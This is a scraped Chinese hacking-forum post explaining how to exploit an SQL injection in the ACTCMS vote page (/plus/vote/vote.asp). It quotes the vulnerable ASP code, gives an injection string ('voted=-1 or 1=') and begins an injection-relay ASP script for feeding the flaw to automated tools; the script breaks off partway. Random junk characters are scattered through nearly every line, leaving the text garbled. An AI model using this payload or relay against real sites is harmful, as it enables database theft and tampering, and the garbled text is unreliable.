( Z# E- E3 K4 {* X+ g0 [ f/ G$ A看到ninty大牛的blog的一篇文章- q0 \( Y# P, Z9 D, r7 x+ ` 链接标记[url]http://www.forjj.com/?action=show&id=80[/url]& e Z1 k* I) c9 c5 x+ z$ O" x2 Z
关于actcms漏洞的利用 by 3x qq:381862589 + L o9 \( _8 v4 ?# F转载请注明以上 2 G1 E9 n7 B4 P漏洞文件： 5 e( T! y. ]' P( D$ L. t1 m7 |4 T4 n/plus/vote/vote.asp . Q& w Z {: _( N1 J代码： 链接标记预览源代码链接标记打印链接标记关于1if request("voted").count=0 then 8 l: G; ~! a1 F: s; C# _( I / V; G8 g3 F9 ~% M, Y. [4 }2 response.write "<script>alert('请选择投票项目。');window.close()</script>" 1 e9 V5 z% o) A6 P
1 L4 Y/ |, `5 w: t1 U3 S: j- U. y
3 response.end ! \) N7 r" N/ R/ @ _ A! O' B9 F1 f- K& Z4 {' e* w. e7 B ]# v5 f
4 end if % s4 [+ k& |8 E( ^; i1 S' n7 }- R
* a# u) H7 q6 m8 {5 for i=1 to request("voted").count ; Q& l+ _! |2 v 0 C. [; f! a$ K9 `. Y( B" F, `6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) 3 p1 ^$ u- M' D
* i: a) n, s) U( C7 F
7 next % B. g4 ?6 O; ~, F8 t
, e% Q. c I8 ]) B5 l8.... & j* S' g9 d( o6 N
' S* Z- o# I' m! |& ]) Q9response.Redirect "index.asp?id="&id&"" ( {0 j: o1 i& C% c; N. S4 F投票结束回跳转回index.asp这个投票结果页面$ ]# [9 ^) p% ~/ k
如果投票成功票数加1. \0 ?9 u) ^: A2 \+ C& }& `7 `
失败票数不变% d, e2 v0 Z, f3 s
如图：' c5 m- c* V8 `0 |/ m+ \ http://www.t00ls.net/images/default/attachimg.gifhttp://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)2 F9 u; e5 H) ?) i6 |: h
7 d/ u/ U- ~% P5 a; R
2009-12-27 13:20- O& G# @+ G% e" }0 U4 }- x D- d
5 x9 t1 f+ I' r* _
利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了 ! r* Y$ O0 G4 W7 s7 Q+ l 9 _- N3 t6 Q, H1 u6 j7 P本帖隐藏的内容需要回复才可以浏览 8 F" e& ?) S' n V! T3 V) u/ e我们用注入中转来实现这个注入具体代码如下：# Y7 f5 Y9 X$ A7 o
先用寂寞的刺猬大牛的注入中转生成jmget.asp 1 p6 w3 h1 s3 v) ^/ o- Z注入地址：http://localhost/actcms/plus/vote/vote.asp3 L' h0 }- b0 e: T. K1 Z
注入键值：id=1&voted=-1 or 1= '这里这样换的话就有学问了，不用去判断有什么投票选项 ' J/ ~5 E) j* s+ D( P7 K$ y/ T5 i3 x, C$ t4 T/ k7 S( Q
然后进行修改变成如下代码： 链接标记预览源代码链接标记打印链接标记关于01<% , w" s+ y- U9 w2 V
" z/ w: j# X& V# k4 n$ D8 t6 j
02JmdcwName=request("jmdcw") : k' W/ G+ F' v* E6 i) q4 \4 g 9 ?" I+ J; V) A+ i* A9 ]03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] + B* `+ M1 H; O, ^ Z7 k) y: \* z5 @4 B& o2 X
04JmStr="id=1&voted=-1 or 1="&JmdcwName " l1 t1 Y. U% t0 d0 Y4 f
1 ~4 Z ~$ M) D# P$ d, v+ v
05JmStr=URLEncoding(JmStr) 3 E* X" j4 N5 Y1 P ; ?7 x/ \5 R+ \( J4 }4 |/ [+ ^06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"$ N: M$ Q) x. j- T3 |# V